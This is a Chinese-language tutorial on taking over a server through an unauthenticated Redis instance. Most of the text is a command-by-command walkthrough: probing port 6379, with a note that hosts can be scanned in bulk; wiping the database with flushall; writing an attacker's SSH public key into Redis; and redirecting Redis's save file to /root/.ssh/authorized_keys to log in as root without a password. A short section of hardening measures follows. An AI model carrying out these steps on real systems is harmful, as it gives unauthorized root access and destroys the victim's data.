通过Redis入侵服务器实现免密登录

通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key(也就是密码)。然后通过向redis把自己的公钥写入到redis,然后利更改redis的数据库文件配置,把数据写入到认证文件。形成免密码登陆

一、生成本地ssh公钥

ssh-keygen

二、检测可用redis并尝试连接

telnet 192.168.88.136 6379  # 可以批量测试找到可用host
redis-cli -h 192.168.88.136  # 若没密码就能登录成功

三、清一下redis数据库

redis-cli -h 192.168.88.136 flushall

四、向redis写自己的公钥

cat id_rsa.pub | redis-cli -h 192.168.88.136 -x set redis

五、利用redis写入到文件中

  • 连接redis
    redis-cli -h 192.168.88.136
  • 查看keys
    192.168.88.136>keys *
  • 写入配置库的路径及存放位置
    192.168.88.136>CONFIG SET dir /root/.ssh/
  • 写入配置库名称及存放的名字
    192.168.88.136>CONFIG SET dbfilename "authorized_keys"
  • 写入
    192.168.88.136>save
  • 退出
    192.168.88.136>exit

六、远程连接

ssh [email protected]

  • 注意,这个是使用的默认的。也就是说别人是用的root来启动的redis 并且没有更改sshd配置文件,以及redis可以默认的可以随意访问性的。

防止redis入侵服务器的措施:

1、不要对外开放redis,也就是不要使用公网ip启动redis
2、更改redis默认的端口(默认是6379)
3、给reids加密码,在启动的以后,我们必须通过密码认证后才能操作
4、给 authorized_keys 文件加上特殊权限(chattr +i authorized_keys),不让别人在里面写内容
5、也可以给/root/.ssh 这个目录加上特殊权限(chattr +i /root/.ssh),这样即使是root用户也不能够在里面写东西

备注:
如果给redis加了密码以后,我们在启动的时候可以这样 redis-cli -h 192.168.88.136 -p 端口 -a 密码,也可以通过先登陆后认证的方式,也就是redis-cli -h 192.168.88.136 -p 端口 ,认证auth 密码
关闭的时候也一样redis-cli -h 192.168.88.136 -p 端口 -a 密码 shutdown

你可能感兴趣的:(通过Redis入侵服务器实现免密登录)